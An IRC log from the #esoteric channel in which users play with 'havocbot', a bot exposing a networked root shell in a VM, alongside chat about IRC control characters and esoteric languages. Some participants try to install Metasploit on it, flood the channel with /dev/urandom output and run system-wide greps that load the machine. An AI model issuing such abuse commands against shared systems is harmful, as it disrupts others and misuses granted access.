moon__:CZvHsfqv/HgsSBDzp/bashbot-master/bashbot.config/bashbot.pid/bin/master.zip/msfinstall/rCu7GHCY/train.jpg 19:31:47 prooftechnique: % Total % Received % Xferd Average Speed Time Time Time Current/ Dload Upload Total Spent Left Speed/ 19:31:56 havocbot: ls 19:31:56 moon__:CZvHsfqv/HgsSBDzp/bashbot-master/bashbot.config/bashbot.pid/bin/master.zip/msfinstall/rCu7GHCY/train.jpg 19:31:57 shachaf: > just turns into an argument for cat 19:32:04 havocbot: rm msfinstall 19:32:04 Oh. 19:32:13 and staph 19:32:13 shachaf: which is the point of all the cu business... and why I used dd 19:32:30 bad bad bad 19:32:35 i willl kill network access 19:32:36 int-e: I've been trying to avoid reading this bot and channel because it's so spammy and annoying. 19:32:48 havocbot: which msfconsole 19:32:48 prooftechnique:which: no msfconsole in (/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin:/usr/i486-pc-linux-gnu/gcc-bin/4.8.4) 19:32:52 Aww 19:32:56 (= 19:33:04 havocbot: which ruby 19:33:04 prooftechnique:which: no ruby in (/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin:/usr/i486-pc-linux-gnu/gcc-bin/4.8.4) 19:33:05 i killed it 19:33:12 Ah, it's because no ruby 19:33:15 That would do it 19:33:17 Oh, well 19:33:24 and no metaexploit, damnit 19:33:34 moon__: um, if it gets too noisy, you could move the bot to #esoteric-blah 19:33:44 Metasploit is a totally innocent tool for benevolent security researchers 19:34:03 staph trying to invade my internet 19:34:18 moon__: nobody is invading 19:34:21 moon__: you opened the door 19:34:28 or floodgates 19:34:30 whatever 19:34:35 Definitely floodgates. 19:34:48 Yes, please move the bot to #esoteric-blah. 19:34:52 ok 19:34:55 -!- havocbot has quit (Remote host closed the connection). 19:36:05 havocbot: sed -i.back 's/esoteric/esoteric-blah/g' bashbot.config 19:36:13 Oh, it's down :( 19:36:48 int-e: bot will move to #esoteric-blah 19:36:48 moon__: also you should realize that what you've seen so far has been benign... nobody tried to escape the virtual machine. 19:37:59 its up in esoteric-blah 19:38:08 under the name hbot 19:38:09 (I'm discounting prooftechnique's metasploit download because I suspect it would have run out of memory on the tmpfs soon) 19:38:11 -!- evalj has joined. 19:41:57 int-e: Probably, yes 19:42:15 I can probably reduce it, though. I think there are some minimal shims out there 19:42:28 Though I'd still have to get ruby instaled 19:42:30 *installed 19:42:37 ruby is fine 19:42:40 metasploit no 19:42:45 prooftechnique: moon__ said there's a hard disk or something mounted, so you can create a swap file and swapon it 19:42:51 prooftechnique: RAM shouldn't be a problem 19:43:02 there are two b_jonas 19:43:11 moon__: writable too? 19:43:12 gentoo and one other idk the name of 19:43:14 mhm 19:43:37 b_jonas: http://sprunge.us/iALY ... unless that has changed... 19:44:38 int-e: hmm 19:45:16 wtf 19:50:26 HackEgo: rm bashbot.pid 19:50:29 oops 19:50:40 oh, it's not here 19:51:17 < moon__> ill happily cut the network access ← you should really be more careful with this 19:51:19 ybden all hope 19:51:29 * ybden all hope? 19:52:09 ybden have you been here before 19:52:19 Phantom_Hoover: depends when 19:52:28 more than two years ago 19:52:31 no 19:52:46 `? all hope 19:52:48 all hope? ¯\(°​_o)/¯ 19:52:49 `? hope 19:52:51 hope? ¯\(°​_o)/¯ 19:53:01 And manganese and mercury and ybden and magnesium, / Dysprosium and scandium and cerium and cesium 19:53:31 hmm, that reminds me of something 19:53:59 shachaf: scandium spends a lot of time on TMZ 19:55:12 shachaf: What is the context? 19:56:20 Of what? 19:56:22 -!- copumpkin has quit (Quit: My MacBook Pro has gone to sleep. ZZZzzz…). 19:57:06 -!- atrapado has quit (Quit: Leaving). 19:57:07 shachaf: thine two prior messages 19:57:43 Nontext. 19:58:18 shachaf: I presume they were in reference to something, however? 20:01:06 -!- augur has quit (Remote host closed the connection). 20:01:08 -!- Vorpal has quit (Remote host closed the connection). 20:16:05 Yay! Gawker has filed for bankruptcy! 20:25:04 -!- hwpplayer1 has quit (Quit: Leaving.). 20:26:46 -!- hwpplayer1 has joined. 20:27:13 -!- Akaibu has quit (Quit: Connection closed for inactivity). 20:32:01 -!- hwpplayer1 has quit (Quit: Leaving.). 20:33:17 -!- hwpplayer1 has joined. 20:38:05 ybden: abandon all hope 20:38:37 ybden 20:38:48 havocbot is alive in #esoteric-blah 20:38:49 ybden: and manganese and mercury, molybdenum, magnesium 20:42:03 hppavilion[1]: neat 20:47:15 shachaf, not many people are using havoc, can i bring it back here while keeping it in esoteric-blah at the same time? 20:47:27 Ask oerjan. 20:47:48 I would prefer it to stay away, fwiw 20:47:59 it's highly distractign 20:48:53 That would be my preference too. 20:49:04 `5 20:49:13 1/3:675) There.... is a box of Gardasil next to the butter in my fridge. At least my sandwich will be immune to cervical cancer *and* genital warts, I suppose. \ 225) If you want to use TeX formats invented by Christians, use Plain TeX. However, I do not think the religion of its author is 20:49:17 `spam 20:49:18 2/3:a good way to decide what to use. I decide to use Plain TeX for its own reasons. \ 1121) everything is either zipf, branford, poisson, gamma, or uniform. outside of that, it's a weird curve invented by sadistic statistics teachers. \ 485) Deewiant: How do you go through life without seeing at least one gaping a 20:49:20 `spam 20:49:22 3/3:nus, that's what I want to know \ 1215) Most of the time I have no idea what this channel is doing the other half I still have no idea \ 20:49:36 -!- int-e has set topic: #esoteric-blah is wreaking havoc | The intradisciplinary hub of solidity matrices, esoteric programming language design, and font forging | http://esolangs.org/ | logs: http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/?C=M;O=D | https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf. 20:49:47 compromise? 20:49:54 lol 20:49:58 ok haha 21:00:35 `blerp 21:00:36 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: blerp: not found 21:00:44 Seriously? Someone has failed 21:07:12 `nasaldemons 21:07:15 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: nasaldemons: not found 21:08:35 hppa 21:09:01 i just snuck that command on havoc without anyone noticing using my terminal, wana try it out? :P 21:13:50 -!- hppavilion[1] has quit (Ping timeout: 244 seconds). 21:14:03 -!- dnm has joined. 21:25:22 -!- hppavilion[1] has joined. 21:26:01 -!- hwpplayer1 has quit (Quit: Leaving.). 21:28:10 hia hppa 21:29:04 Are there any 4D rendering engines? 21:29:24 Not ones that convert everything into 3D-legible graphics that work nicely for pathetic 3D beings like myself 21:29:40 An engine that renders everything in its full, 4-dimensional glory 21:29:48 (projected onto my 2D screen of course) 21:30:20 Nope 21:43:43 -!- evalj has quit (Remote host closed the connection). 21:45:35 -!- Sprocklem has quit (Quit: [). 22:04:49 -!- spiette has quit (Quit: :qa!). 22:05:54 -!- hppavilion[1] has quit (Ping timeout: 246 seconds). 22:10:40 -!- hppavilion[1] has joined. 22:36:57 -!- ais523 has joined. 22:37:16 hmm, Snakebird (silly name, in the current "staff pick" humble bundle) has surprisingly hard levels 22:37:45 Huh 22:38:27 (contrary to the common case which seems to be that even when people come up with good game mechanics they fail to use them to their full potential) 22:38:57 moon__: if you ask a more articulate question I might answer :P 22:39:19 which do you prefer: havocbot or hackego? 22:39:20 there 22:39:21 question 22:39:28 hackego 22:39:39 and why? 22:39:42 but what does that have to do with the "huh" above? 22:40:05 you said ask a question (= 22:40:23 it's sane (you don't have root so the temptation to just crash it doesn't come up), it's snapshotted, and it's well entrenched in #esoteric culture and history 22:40:28 -!- augur has joined. 22:40:30 I know :P 22:41:04 I'm living up to my end of the bargain and answering. 22:41:10 is havocbot a hackego variant with less sandboxing? 22:41:28 Havoc uses a diffrent script, thats for certain 22:41:35 no code based relations to hackego 22:42:00 if you want to look at it, its in #esoteric-blah 22:43:31 -!- hppavilion[1] has quit (Ping timeout: 250 seconds). 22:44:39 -!- hppavilion[1] has joined. 22:52:39 -!- havbot has joined. 22:53:02 wait why did it join here? i thought i commented that out! 22:53:21 havbot: killall bash 22:53:21 -!- havbot has quit (Remote host closed the connection). 22:54:04 I hope it's at least running in a VM 22:54:09 it is 22:54:28 OK, so if someone decides to write zeroes all over the hard drive, at least you aren't losing anything 22:54:28 i dont trust you all with my pc :P 22:54:34 yea 22:54:42 plus the livecd is readonly 22:55:06 ais523, i mean it's not any more dangerous than running it on a disposable physical machine 22:55:12 so the livecd would get away too 22:55:27 *any less 22:55:30 Phantom_Hoover: most peolpe don't have disposable physical machines though 22:55:45 (I did for a while, my students were using them to test kernel-mode keyloggers) 22:55:50 idk, i have an rpi that has never seen any meaningful use 22:55:53 -!- havocbot has joined. 22:55:58 I /marked/ them in a VM though :-) 22:56:13 ah well 22:56:28 if it gets spammy, ill take it out 22:56:45 havocbot, cat /dev/urandom 22:56:56 havocbot: grep -R esoteric / 2>/dev/null 22:57:00 you mean: havocbot: cat /dev/urandom 22:57:00 havocbot: cat /dev/urandom 22:57:02 Phantom_Hoover: I think it wants a colon 22:57:16 nothing, huh 22:57:21 make this bot accomodate my client configuration imho 22:57:22 havocbot: killall cat # this is going to work! 22:57:24 havocbot: echo im not dead! 22:57:24 moon__:im not dead! 22:57:24 maybe it's joining #esoteric, but not listening to it 22:57:38 wrontg 22:57:40 my command should logically take a while 22:57:57 was planning to see where it was joining #esoteric and edit that bit out :-D 22:58:07 Phantom_Hoover:§ö;Ës;š[Qò¿RÍ쨪œ£ÌážkZ‘tp+ƒOà¢%M uãEy²lhµÓ‹ªßECZpÑBæÕ@AúùÂî¡^.Az7,¨3ôÊJ²=\£÷YOЩdÁŒÝ¦ØÁ¦ÆèÒM²ÔŸŽüÅ}¥7Û®{هNûøDСU£míïË| ·‚.Á›†ÃþœË0Øg£š’H*0.Ã"èyt@ìÌf³¼·rQD5m¶nJE‡/”"{2iQ›²îFK”ÜØ»/É1“Ec\­Hòi§$y®€<7¹˜¹23ÞØvË1=TÇx\/¸Ù~ÿšÇ`w;t«Í63)d(áá„u¸O|4y©|U”•î»*Q³5JöyrÜ/¾)•’å<Ñô¶Ú؂´b$õ‚çqí/üx}Äh×uæÕ;Lb(¾˜Îڗ8Wžl€øk˞U37­fe/t߸©_Ö£$^ìÕ¥ÛïB”¡³¾)07ðތý5‘]…6±ò¢§ú7Î|꘥ 22:58:07 -!- havocbot has quit (Excess Flood). 22:58:14 lol 22:58:17 lol 22:58:25 <^v> omg fuck you 22:58:27 there's no limit on the length of a line? 22:58:35 <^v> i hate BEL 22:58:38 oh, right 22:58:39 <^v> its literally cancer lol 22:58:39 as of now, no 22:58:43 I thought you'd been pinged by that somehow 22:58:48 -!- havocbot has joined. 22:58:57 (also why do IRC clients not filter BEL, it has no real legitimate use) 22:59:10 (over IRC) 22:59:11 besides being annoying 22:59:17 They really should filter it. 22:59:17 <^v> im setting up my ZNC to filter it rn 22:59:38 because BEL was a good idea half a century ago and unix is written by idiots? 22:59:45 so urandom smacked you in the face? 23:00:09 I'm running with xset -b since approximately forever 23:00:27 (no visual bells either) 23:00:46 My IRC client does filter bells it just displays "G" black on purple. 23:00:56 (Same with any other control character it does not recognize.) 23:01:09 it's almost as good as most clients interpreting NOTICE in exactly the opposite of the right way 23:01:18 <^v> ayyyy 23:01:21 <^v> hexchat has /set input_filter_beep on 23:01:37 <^v> why it isnt enabled be default 23:01:43 -!- hppavilion[1] has quit (Ping timeout: 250 seconds). 23:01:51 count how many showed up in the urandom zzo38 23:02:17 And NOTICE isn't interpreted in any special way on my computer. 23:02:25 like the spec explicitly says it's for bot replies and yet it's appropriated for channel-wide pings by several clients 23:02:31 moon__: I found three 23:02:49 e.g. the people who usually complain if you do this 23:03:17 actually, I have an idea 23:03:25 who's complaining? 23:03:27 let's persuade all major bots to send all replies as notice 23:03:30 I will hunt you down 23:03:32 And kill you 23:03:32 Phantom_Hoover: argh please don't do that 23:03:32 on every server 23:03:36 it makes my client go ping 23:03:38 you see! 23:03:39 also, ais, the bot has 15gb of data for you to work with, 7 under /s and 8 under /mnt/gentoo 23:03:45 and the problem will fix itself in a few weeks :-D 23:03:46 Incidentally, I have no special notices for notices 23:03:47 ybden, your client is fucking terrible! 23:03:47 :D 23:03:55 qrf: you joined this silly channel out of your own volition. 23:03:58 I encountered them randomly just now 23:04:00 Yes 23:04:02 tbden: Complain to whoever wrote the client; it is their fault not Phantom_Hoover 23:04:15 that cat /dev/urandom looks interesting 23:04:18 wait, since when did irssi ping on notices? 23:04:24 havocbot: cat /dev/urandom 23:04:35 ybden: it's just sending random bytes to IRC 23:04:49 (a mix of true-random and cryptosecure pseudo-random) 23:04:51 ais523: yeah. It somehow had several colour codes and blinking 23:05:06 i noticed 23:05:15 well, any message has the potential of being sent by random data 23:05:17 < shachaf> ybden: and manganese and mercury, molybdenum, magnesium ← I got that one 23:05:18 that's because irc uses non-ascii bytes to encode colour and blinking 23:05:20 urandom = almost always a irc wakeup call 23:05:25 but color codes and blinking are only a few bytes long 23:05:31 so they're highly likely to be hit by chance 23:05:37 like, color is two bytes IIRC 23:05:48 In client I use it won't ring the bell unless you push a wrong key or there is a /F rule that tells it to ring the bell (by default no /F rules are defined). 23:06:02 ghmm, i wonder what happens with invalid colour codes 23:06:06 ah, nothing 23:06:14 wait no! they're interpreted 23:06:18 ^bf +++.++[->++++++++++<]>. 23:06:18 23:06:22 defaults to black 23:06:24 wait, need to actually put a message after it 23:06:31 ^bf +++.++[->++++++++++<]>.,[.,]!This is a test 23:06:31 This is a test 23:06:37 anyone able to kick havocbot? 23:06:39 what color is that? I have color turned off on my client 23:06:43 moon__: I am 23:06:47 ais523, blue 23:06:49 is it not capable of quitting of its own accord? 23:06:49 kick him real quick 23:06:52 its frozen 23:07:00 kicking it won't disconnect it from the server 23:07:02 how will that-- 23:07:02 just the channel 23:07:10 moon__, just kill the process manually?? 23:07:13 (this is a mistake new bot writers frequently make) 23:07:15 i did 23:07:21 < ais523> (also why do IRC clients not filter BEL, it has no real legitimate use) ← irssi seems to actually interpret it and ping explicitly, given that it makes a different sound to my normal terminal beep 23:08:03 -!- havocbot has quit (Ping timeout: 240 seconds). 23:08:06 I mean, I can kick it – given that it's annoying several people here, doing so would probably be justified – but it wouldn't help you fix the freeze 23:08:12 and as seen there, most likely it was just a ghost 23:08:19 left after you killed the process 23:08:26 There's a "bell_beeps" setting flag in irssi. 23:08:35 fizzie: ooh 23:08:40 I should maybe change that 23:08:44 thanks 23:08:59 ybden: I'd recommend it, this channel ends up with random BELs sent to it way too often 23:09:03 Phantom_Hoover: agreed, irssi is definitely not the best 23:09:05 most commonly as a result of people running brainfuck programs 23:09:07 directly echoing urandom is now against havocbot's rules :P 23:09:10 ais523: haha 23:09:22 given that a few more beeps surely can't cause that much more harm 23:09:26 ^bf +[.+] 23:09:30 -!- moon__ has quit (Quit: Page closed). 23:09:40 ais523: to be perfectly honest, I've only really had BELs from people sending them purposefully (from nc, telnet, etc.) 23:09:43 hmm, maybe fungot has protection from that nowadays 23:09:43 ais523: make it " ( char") " fnord" 23:09:51 ooh 23:09:53 ^bf ++[.+] 23:09:53 .. !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐ ... 23:10:03 if you start at ctrl-a, the whole thing becomes a ctcp ;-) 23:10:14 -!- moon_ has joined. 23:10:40 for me, the whole ASCII table is italic and crosse out 23:10:40 echoing urandom is now against havocbot's rules 23:10:44 Only ^J and ^M are filtered out (which is a requirement of IRC anyways), it look like? 23:10:47 and a few of the control characters echoed 23:11:03 actually it's surprising that neither the ^J nor ^M ended the line 23:11:22 looks like IRC servers genuinely do look for both together 23:11:32 -!- havocbot has joined. 23:12:00 hmm, what's ^O doing... 23:12:18 ais523: fungot explicitly replaces \r and \n with a '.'. 23:12:18 fizzie: cool. how big's the smallest bf code that says fnord 23:12:20 int-e: At least my implementation has it to cancel all formatting codes 23:12:28 fizzie: that's explain the .s I see 23:12:32 does it also filter out bel? 23:12:40 (bel doesn't do anything on my client, so I can't directly tell) 23:12:42 No. 23:12:55 ill implent a filter for havoc soon 23:12:58 hmm, this reminds me of a problem in libuncursed 23:12:59 I can tell; only ^M and ^J are converted to . and everything else remains as is 23:13:18 some terminals get into a state where they're waiting for some character, possibly BEL 23:13:20 ^DEHI.KL.NPQRSTUWXYZ\^ ... 23:13:20 int-e: sadly there isn't one 23:13:24 I've had filtering out ^A on the to-do list for a long time now. 23:13:25 and rather than send BELs and annoy the users of all other terminals 23:13:45 I send a few KB of NULs to cancel out when the buffer gets full :-D 23:14:06 (the ^D is my doing... irssi uses(or used?) it internally to encode colors... and doesn't filter it from messages coming from irc) 23:14:12 ^bf +.,[.,]+.!VERSION 23:14:25 hmm, I didn't receive a CTCP from fungot there 23:14:25 ais523: for one thing 23:14:30 oh, we probably have a +C ban 23:14:34 yes 23:14:47 and that one was placed specifically to capture stray Ctrl-As from bots 23:15:04 thus if you ask a bot to output a bunch of random info and it happens to contain a ctrl-a 23:15:10 the message gets deleted by Freenode itself 23:15:40 I'd expect it to only eat messages that start with ^A? 23:16:07 ^bf ++.-.+..-. 23:16:07 23:16:21 okay. 23:16:23 int-e: well according to the IRC spec you can put a ctcp in the middle of another message 23:16:24 no idea why though 23:16:41 ^bf ,.>+.,[.,]+.!xVERSION 23:16:41 xVERSION 23:16:53 my client doesn't parse it as a CTCP though, it just echoes the whole thing 23:17:00 I am not quite sure either, but my client implements it. 23:17:01 so this is part of the spec that is apparently routinely ignored 23:17:51 also, I'm amused that we're still mentioning the matrix of solidity in the topic 23:17:52 Are you able to see if fungot received a NOTICE? My client automatically sent one. 23:17:53 zzo38: instead of just including and extend?" 23:18:52 zzo38: It did. 23:19:10 OK. Did it receive from anyone else or only from me? 23:19:22 staffehn also replied with a version reply. 23:19:27 OK 23:19:43 -!- Sgeo_ has joined. 23:19:55 Well, so this kind of implementation is seem rare anyways, but does exist. 23:20:06 Quassel IRC v0.8.0 and PHIRC:0.9 from them and you, respectively. 23:20:19 Yes 23:20:42 Oh, there's a third one (BitchX-1.1-final+) from Alcest. But that's all. 23:21:10 OK 23:23:41 Incidentally, the ^J-or-^M filtering is implemented particularly for the brainfuck ., not more generally than that. Fortunately you can't make Underload output any symbols that weren't in the input, and you can't get either of them into the input. 23:25:07 (Lines 303-304, ":a-:3-" and some tests.) 23:26:17 In retrospect, I think I could've saved a couple of instructions by just *ing those together and testing once, rather than testing both separately. 23:26:53 now I'm trying to work out if there are any numbers other than 10 and 13 for which (x-10)*(x-13) is 0 23:27:01 clearly there aren't if you're using bignum integers 23:27:04 but computer arithmetic is bounded 23:27:40 Yes, but in this case 0 <= x <= 255, and the computation itself is done as a 32- or 64-bit signed integer. 23:28:28 yes, in that case it's going to be correct 23:29:09 hmm, let y = x-13, then we're checking for y(y+3) = 0, but 3 is odd 23:29:24 thus if we're checking for y(y+3) = 2**n in bignum arithmetic 23:29:39 also, I'm amused that we're still mentioning the matrix of solidity in the topic 23:29:42 the only solutions are for y or y-3 to be 0 modulo 2**n, as they can't both be even 23:29:44 http://tiffzhang.com/startup 23:29:49 i mean we're locked in there, it's not like we're getting out any time soon 23:33:44 hmm, looks like esolangs.org is the top hit for "enjoy being locked in your matrix of solidity", and some of the other top hits are esotericism sites, but not all 23:33:47 e.g. http://allariewindows.com/products/patio-door/ is pretty high up 23:34:22 strangely it doesn't mention matrices anywhere 23:34:42 although all the other words in the phrase are there, scattered in random parts of the page 23:41:40 -!- havocbot has quit (Remote host closed the connection). 23:42:07 -!- havocbot has joined. 23:43:07 for google, the top hit is the logs 23:43:08 -!- J_Arcane has joined. 23:43:59 moon_: google's search results depend on who's searching though 23:44:07 have you used google to search the #esoteric logs before now? 23:44:19 if you do it a lot, google will likely return them for any query that's sufficiently relevant 23:45:29 No 23:45:32 First time 23:49:53 havocbot: /cv bmFzYWxkZW1vbnM= 23:50:05 ? 23:51:29 huh 23:51:39 i guess it doesnt wana 23:52:14 havocbot: cv ZWNobyB0aGlzIGlzIGEgdGVzdCBvZiBjdiBhbmQgaXRzIGJhc2U2NCBpbnB1dA0K 23:52:15 moon_:./bashbot-master/bashbot: line 170: /cv: No such file or directory 23:52:25 havocbot: /cv ZWNobyB0aGlzIGlzIGEgdGVzdCBvZiBjdiBhbmQgaXRzIGJhc2U2NCBpbnB1dA0K 23:52:25 moon_:./bashbot-master/bashbot: line 170: /cv: No such file or directory 23:52:29 .-. 23:53:13 i should cp it back 23:53:23 havocbot: cp /s/bin/cv /cv 23:53:23 moon_:./bashbot-master/bashbot: line 170: /cv: No such file or directory 23:53:44 i moved the wrong one. 23:53:46 i ment cu 23:54:20 havocbot: cu ZWNobyB0aGlzIGlzIGEgdGVzdCBvZiBjdiBhbmQgaXRzIGJhc2U2NCBpbnB1dA0K 23:54:21 moon_:this is a test of cv and its base64 input 23:54:34 s/cv/cu/ 23:55:51 What happened to people preferring that havocbot leave? 23:56:07 i broke a thing, im working on it :P 23:56:16 esoteric got back in the list for some reason 23:57:20 i think i fixed it 23:57:32 -!- havocbot has quit (Remote host closed the connection). 23:58:21 ok fixed 23:58:26 < moon_> echoing urandom is now against havocbot's rules ← are these rules enforced in any manner, or are you just hoping that we don't? 23:58:32 my appolagies shachaf 23:58:39 hopeing :P 23:58:44 ill implent something soon 23:59:18 how did you implement those rules moon_ 2016-06-11: 00:00:01 i havent 00:00:07 all hope until i add filters 00:00:09 also 00:00:16 how do i list processes and their ids? 00:00:26 ps 00:01:05 someone gave it a rogue grep 00:01:37 aka grep based forkbomb 00:02:14 you need a timeout like HackEgo has or this sort of denial of service will be inevitable 00:02:27 -!- lambda-11235 has quit (Ping timeout: 246 seconds). 00:02:27 :P 00:02:42 whats a good way to implent that? 00:03:29 i'm not the one to ask 00:04:17 found something 00:05:43 < moon_> aka grep based forkbomb ← ooh, what was that? 00:05:46 the one i found also kills a hanging thread 00:05:47 idk 00:05:52 i just found the process 00:06:10 moon_: forkbomb would imply there were a great many processes 00:06:14 moon_: do you know what the command was? 00:06:43 killed it and all my cpu usage fell from 67% to 2% 00:06:44 also 00:06:49 ill see if its in the logs 00:07:01 moon_: that's not a forkbomb 00:07:04 moon_: that's just grep 00:07:22 moon_: if there were a forkbomb, it would be 100% CPU and it wouldn't respond 00:12:58 ah 00:13:00 true 00:13:45 well 00:13:48 i remember now 00:15:07 the command was preforming a full system search 00:17:59 ybden, if you want to tinker, havocbot is in #esoteric-blah 00:20:36 -!- lambda-11235 has joined. 00:24:00 -!- augur has quit (Remote host closed the connection). 00:33:18 [wiki] [[User:Qwertyu63]] https://esolangs.org/w/index.php?diff=47191&oldid=47190 * Qwertyu63 * (+73) 00:33:48 -!- PinealGlandOptic has joined. 00:35:23 `help 00:35:24 Runs arbitrary code in GNU/Linux. Type "`", or "`run " for full shell commands. "`fetch " downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert " can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/ 00:43:29 -!- havocbot has joined. 00:49:38 havocbot, staph 00:49:40 bad bot 00:49:43 someone kick it 00:50:23 shachaf: kick havoc for me pls 00:53:03 havocbot: echo "NO!" 00:53:03 quintopia:NO! 00:54:22 quin, use him in #esoteric-blah 00:54:58 fizze 00:55:01 fizzie? 00:55:09 phantom needs you in #esoteric-blah 01:00:22 if he was online don't you think he would have seen the ping in #esoteric-blah 01:02:56 What have I missed? Have we escaped moon_'s VM, yet? 01:04:13 -!- Lord_of_- has quit (Quit: EliteBNC free bnc service - http://elitebnc.org - be a part of the Elite!). 01:06:54 -!- havocbot has quit (Remote host closed the connection). 01:08:08 -!- Lord_of_Life has joined. 01:12:07 Nope 01:12:23 Havoc has full command support, th 01:12:24 -!- lambda-11235 has quit (Max SendQ exceeded). 01:12:29 no funny syntax 01:12:33 just terminal 01:13:09 I wonder why in IBNIZ, why vp1+10*x1+10*q%?1 exhibits behavior that seems to rely on time. 01:13:17 -!- lambda-11235 has joined. 01:14:09 all code does 01:14:13 What I was trying to do is generate an image in which the top row has every pixol lit, the second topmost row has every other pixel lit, and the third topmost every third, etc. 01:14:20 IBNIZ pushes the time onto the stack every frame 01:14:29 Yes. 01:14:35 And vp pops it. 01:14:46 prooftechnique: havoc is in #esoteric-blah if you wana mess with it 01:14:50 does it? 01:14:57 `? IBNIZ 01:15:15 IBNIZ? ¯\(°​_o)/¯ 01:15:24 is it xyt? from bottom to top? 01:16:09 tyx is what the documentation says. 01:16:37 Plus it works for other porgrams like vp^ 01:17:59 It might eb that I'm misunderstanding the coordinate system. 01:18:38 Since what I'm trying to do is make each coordinate into a integer representing the pixel offset from top left. 01:18:58 But if I have the scale or offset wrong then it won't work right. 01:20:01 What's odd to me is that what I've written seems to produce tiny blue dots to blink even though nothing should blink if time is popped at the start. 01:20:11 -!- Lord_of_Life has quit (Quit: EliteBNC free bnc service - http://elitebnc.org - be a part of the Elite!). 01:20:32 -!- oerjan has joined. 01:26:26 oerjan, hi! 01:26:33 can i brin havocbot back to esoteric? 01:27:14 It also makes a distict hum for some reason. 01:27:45 moon_: it was a bit noisy 01:28:18 i think we have a channel for bot testing somewhere 01:28:20 it was being used a lot 01:28:31 its currently in #esoteric-blah 01:28:37 right. 01:28:42 but i think i can shorten its output to 255 bytes 01:28:49 which is around hackego's limit 01:29:35 -!- Sprocklem has joined. 01:29:41 the noise wasn't so much about the output as about all the failed experiments. 01:29:48 well 01:29:53 it runs fairly well now 01:30:10 with good bash interface and a drive 01:30:34 well i have a bad feeling about this, so probably don't ask me in the first place. 01:32:00 There is a #bots chennel with a topic of "Maybe we're bots, maybe we're not.". 01:32:19 moon_: Are your partitions and fstab set up in a sensible way? I rather dread trying to partition it for a Gentoo install via bot 01:32:34 i beleive so 01:32:39 b_jonas set them up 01:32:41 not me 01:32:49 Oh, that's probably all right, then 01:33:10 Not that I know anything about b_jonas's partitioning habits 01:33:35 :P 01:34:05 oerjan: is that a 'i can try and if it gets noisy remove it', a 'yes', or a 'no' 01:34:42 if you keep asking it will eventually turn into a "no" hth 01:34:46 :P 01:34:56 ok, ill take its not a no 01:35:18 I would prefer that it not be here. 01:35:23 Make the bot useful, then you can make a case 01:35:46 kk 01:35:47 I don't think "useful" is necessary or sufficient for being in this channel. 01:35:47 well 01:35:48 wait 01:35:49 -!- havocbot has joined. 01:35:53 umm 01:35:56 stupid bot 01:36:02 i just reboted it 01:36:03 havocbot: halt 01:36:03 -!- havocbot has quit (Client Quit). 01:36:11 shachaf: I think being interesting is useful 01:36:26 . o O ( havocbot: hcf ) 01:37:06 use killall bash next time 01:37:08 dont halt it 01:37:09 now I'm wondering how easy it is to set a modern computer on fire through software 01:37:22 right now the bot is only useful for abuse, and we already have fungot for that ;) 01:37:23 int-e: the fnord dsa host key was generated in under two seconds, the base is the number of 01:38:44 shachaf: just wondering: whats your reasoning for not wanting it? out of curiosity 01:38:50 It's noisy. 01:39:19 command output size too large? 01:39:28 im asking to improve it :P 01:40:11 Takes up too much vertical space. 01:40:15 ok 01:40:24 how many chars would fit on a line? 01:40:29 so i can trim it 01:40:31 It causes secondary noise as well. 01:40:40 user noise? 01:41:16 By vertical space I mean the number of lines it produces, and the number of lines it causes in other ways. 01:41:29 it trims out all newlines 01:42:38 -!- Lord_of_Life has joined. 01:42:59 is Lord_of_Life new? 01:43:53 no 01:45:12 and how are the other lines made shachaf? 01:45:25 People talking to it. 01:45:50 hackego gains the same problem >_> 01:46:53 well 01:47:25 hackego _and_ havocbot both are interactive 01:47:59 -!- MoALTz has joined. 01:48:11 hi 01:49:52 [wiki] [[Cryptoleq]] https://esolangs.org/w/index.php?diff=47192&oldid=47042 * 75.161.81.91 * (-17) Removed the third-level heading at the top of the page 02:01:02 HackEgo is also familiar and a known quantity. havocbot is a root session with network access 02:01:59 i.e., most people aren't testing HackEgo's limits 02:04:58 ah 02:05:09 maybe once thats done it might be safer? 02:06:07 anyways, proof, there's a bin folder on the path now 02:06:13 Oh, good 02:07:00 and your cded into the drive /s 02:07:04 which contains the bin folder 02:07:06 and a swap 02:07:10 a 1g swap 02:09:03 someone put 'nasaldemons' in the bin folder -.- 02:13:04 -!- Phantom_Hoover has quit (Remote host closed the connection). 02:16:22 -!- lynn has joined. 02:16:33 -!- lynn has quit (Changing host). 02:16:33 -!- lynn has joined. 02:16:33 -!- lynn has quit (Changing host). 02:16:33 -!- lynn has joined. 02:16:43 lynn: hellynn 02:20:07 Nasaldemons have proven the perfect path addon testsubject 02:20:15 -!- Lord_of_Life has quit (Ping timeout: 264 seconds). 02:26:00 -!- augur has joined. 02:28:07 someone kick havocbot <-- fwiw kicking it will only remove it from this channel, so the nickname will still be occupied. 02:30:03 to actually be able to force it to quit from inside irc, it needs to be registered, which means you need a password which might be a little tricky to keep where no one can see it. 02:31:17 well when it's locked up but not quitting by itself, that is. 02:32:07 i ment just to get it out of this channel 02:32:11 its nt locked up 02:32:41 `url bin/mk 02:32:52 well it was unresponsive, i assume. 02:32:58 im porting them 02:32:58 but it pinged out anyway. 02:32:58 http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/bin/mk 02:32:59 no 02:33:00 it wasnt 02:34:00 okay 02:40:16 `? moon_ 02:40:23 moon_ ? ¯\(°​_o)/¯ 02:40:28 `? moon 02:40:30 Moon is a person, not an unretroreflectorey object. 02:40:34 `? moon__ 02:40:36 moon__? ¯\(°​_o)/¯ 02:41:08 `sled wisdom/moon//s/a/a murderous/ 02:41:13 wisdom/moon//Moon is a murderous person, not an unretroreflectorey object. 02:41:26 * oerjan logreading 02:42:48 Really? 02:43:01 